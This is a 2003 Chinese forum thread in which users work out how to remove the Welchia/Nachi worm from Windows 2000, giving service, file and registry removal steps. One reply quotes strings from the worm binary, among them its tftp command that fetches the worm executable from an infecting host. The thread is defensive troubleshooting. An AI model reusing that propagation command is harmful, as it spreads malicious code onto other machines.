求助:W32.Welchia.Worm我怎么才能把它消灭了,谢了

xiaobom 2003-08-19 04:32:26
我的系统是WINDOWS2000P版,已经升级到SP4,IE6。0,升级到SP1
我用的是NORTON,但W32.Welchia.Worm从隔离到删除都不能实现,感染对象为c:\winnt\system32\wins\DLLHOST.EXE,好象是很重要的系统文件,进程里不可以把它给结束,所以删也不能删。
哪位大虾能我点好建议,十分感谢!!!
(我前天刚做的系统,不想在做系统了!)
...全文
82 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
ccbzh 2003-08-20
  • 打赏
  • 举报
回复
我从安全模式启动把它们干掉,然后在正常模式用优化大师清理注册表,重启动运行暂时没事。
xiaobom 2003-08-20
  • 打赏
  • 举报
回复
我现在解决问题了,这是我从 八月十八最新病毒报告!!!! (UpdateING )转过来的帖

如果大家在自己 的system32 目录里的WINS目录里发现DLLHOST.EXE 和SVCHOST.EXE那么你肯定中毒了。。请自己在启动里删除。。并且删除这2个文件。。传染比较快。。希望大家安装防护墙,,这是中国人自己编译的病毒

SVCHOST.EXE 大小是19.2K
DLLHOST.EXE 大小是10.K

DLLHOST.EXE里面有这样的话!
=========== I love my wife & baby ~~~ Welcome Chian~~~ Notice: 2004 will remove myself~~ sorry zhongli~~~=========== wins http://download.microsoft.com/download/6/9/5/6957d785-fb7a-4ac9-b1e6-cb99b62f9f2a/Windows2000-KB823980-x86-KOR.exe ; http://download.microsoft.com/download/5/8/f/58fa7161-8db3-4af4-b576-0a56b0a9d8e6/Windows2000-KB823980-x86-CHT.exe ; http://download.microsoft.com/download/2/8/1/281c0df6-772b-42b0-9125-6858b759e977/Windows2000-KB823980-x86-CHS.exe ; http://download.microsoft.com/download/0/1/f/01fdd40f-efc5-433d-8ad2-b4b9d42049d5/Windows2000-KB823980-x86-ENU.exe ; http://download.microsoft.com/download/e/3/1/e31b9d29-f650-4078-8a76-3e81eb4554f6/WindowsXP-KB823980-x86-KOR.exe ; http://download.microsoft.com/download/2/3/6/236eaaa3-380b-4507-9ac2-6cec324b3ce8/WindowsXP-KB823980-x86-CHT.exe ; http://download.microsoft.com/download/a/a/5/aa56d061-3a38-44af-8d48-85e42de9d2c0/WindowsXP-KB823980-x86-CHS.exe ; http://download.microsoft.com/download/9/8/b/98bcfad8-afbc-458f-aaee-b7a52a983f01/WindowsXP-KB823980-x86-ENU.exe ; tftp -i %s get svchost.exe wins\SVCHOST.EXE


这2个文件在SYSTEM32里的WINS目录里..如果你菜..肯定上当.这上面的代码不可能是微软的吧!!大家一定要小心!!! 我这不是开玩笑!!! 



下面是解决方法!!!
停止这2个系统服务 打开控制面板 然后打开管理工具 打开 服务
看到这2个服务就停止他们
Network connections Sharing
WINS Client
然后到WINS目录里删除这2个文件。。安装防护墙
xiaobom 2003-08-20
  • 打赏
  • 举报
回复
我在DOS下把两个都干掉了,不错,系统没什么问题,那wins里见到dllhost.exe和svchost.exe这两个文件怎么产生的,是系统文件吗,有用吗?
alexdyong 2003-08-20
  • 打赏
  • 举报
回复
产生dllhost.exe和svchost.exe文件的好象不是W32.Welchia.Worm,是W32.Nachi.Worm 蠕虫吧!
解决方法:
1、停止如下两项服务(开始->程序->管理工具->服务):
WINS Client
Network Connections Sharing

2、检查、并删除文件:
%SYSTEMROOT%\SYSTEM32\WINS\DLLHOST.EXE
%SYSTEMROOT%\SYSTEM32\WINS\SVCHOST.EXE

3. 进入注册表(“开始->运行:regedit),删除如下键值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
RpcTftpd
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
RpcPatch

4. 给系统打补丁
xiaobom 2003-08-19
  • 打赏
  • 举报
回复
但删不掉怎么办,要到DOS下解决问题吗?
wins里的dllhost.exe和svchost.exe是干什么用的,老是看到它们有问题。
cuit_redgirl 2003-08-19
  • 打赏
  • 举报
回复
wins里见到dllhost.exe和svchost.exe就删~

9,505

社区成员

发帖
与我相关
我的任务
社区描述
Windows专区 安全技术/病毒
社区管理员
  • 安全技术/病毒社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧